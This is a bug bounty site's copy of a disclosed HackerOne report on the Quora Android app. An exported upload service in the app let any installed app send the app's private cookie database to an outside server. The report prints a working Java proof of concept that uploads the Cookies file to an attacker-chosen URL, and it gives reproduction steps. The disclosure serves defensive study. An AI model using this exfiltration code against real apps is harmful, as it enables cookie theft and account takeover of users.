Skip to content
Access control Disclosed report Intermediate

[Quora Android] Possible to steal arbitrary files from mobile device

The Quora Android app exported a third-party upload service that accepted arbitrary file paths, allowing any installed app to send the app's private cookie database to an attacker-controlled server. This could lead to account takeover because the stolen cookies include authentication tokens.

bagipro Follow

Originally disclosed on HackerOne

  • Triaged in 30 hours
  • Fixed in 21 days
  • Paid in 7 days
  • Disclosed after 21 days

Summary by the researcher

On the newest Androids it also can be exploited via Instant Apps directly from a web-browser (installation of an app is not required).

It actually was a mistake, services can be accessed by Instant Apps only in case when https://developer.android.com/reference/android/R.attr.html#visibleToInstantApps flag is enabled

The report

Summary: Service

XML
<service android:enabled="true" android:exported="true" android:name="net.gotev.uploadservice.UploadService"/>

enabled and exported. If it's exported, it means that any third party application can access it and send arbitrary data into it.

The following code sends main database file to arbitrary server (I used http://google.com/zaheck):

Java
        UploadTaskParameters params = new UploadTaskParameters();
        params.setId("1337");
        params.setServerUrl("http://google.com/zaheck");
        try {
            params.addFile(new UploadFile("/data/data/com.quora.android/app_webview/Cookies"));

        }
        catch(FileNotFoundException e) {
            throw new IllegalStateException(e); /* should be never thrown because not checked on the client side */
        }

        Intent intent = new Intent("net.gotev.uploadservice.action.upload");
        intent.setClassName("com.quora.android", "net.gotev.uploadservice.UploadService");
        intent.putExtra("taskClass", "net.gotev.uploadservice.MultipartUploadTask");
        intent.putExtra("multipartUtf8Charset", true);
        intent.putExtra("httpTaskParameters", new HttpUploadTaskParameters());
        intent.putExtra("taskParameters", params);
        startService(intent);

In the result protected file /data/data/com.quora.android/app_webview/Cookies which is not accessible to any application besides yours is sent to the attacker. It's really serious vulnerability which allows to takeover accounts. It can be used by any third party installed application on the same device. On the newest Androids it also can be exploited via Instant Apps directly from a web-browser (installation of an app is not required).

Description (Include Impact): I believe it's not your vulnerability, but the gotev's library you use. Anyway, attacker can steal files with settings, cookies (even httpOnly, it doesn't matter), google authorization token is stored in shared_prefs file, which also can be stolen

PoC:

2017-08-10_01-13-31.jpg
2017-08-10_01-13-31.jpg From the original on HackerOne

This file contain sensitive cookies

2017-08-10_01-21-39.jpg
2017-08-10_01-21-39.jpg From the original on HackerOne

Steps To Reproduce

I attached an apk file which sends /data/data/com.quora.android/app_webview/Cookies to http://google.com/zaheck

Install apk and open it, file with all cookies will be sent automatically to attacker provided URL

The original report as published on HackerOne, by bagipro. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the app used a third-party upload library whose service was exported and accepted arbitrary file paths without validating the caller or the file location.

Impact

An attacker could steal sensitive files such as cookies and authentication tokens, potentially leading to account takeover; on newer Android versions this could also be exploited via Instant Apps from a web browser without installing an app.

How it was found

  1. Create an Android app that sends an intent to the exported upload service with a task class and parameters.
  2. Set the server URL to an attacker-controlled address and add the target app's private cookie file as the upload file.
  3. Start the service, which uploads the cookie file to the attacker's server.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Android apps can share components like services with other apps if they are marked 'exported'. Here, a file-upload service was left open, so a malicious app could tell it to upload the victim app's private cookie file to a server the attacker controls. Stealing cookies can let an attacker log in as the victim.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by bagipro

View all

13 more disclosed reports, best first.

More from Quora

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.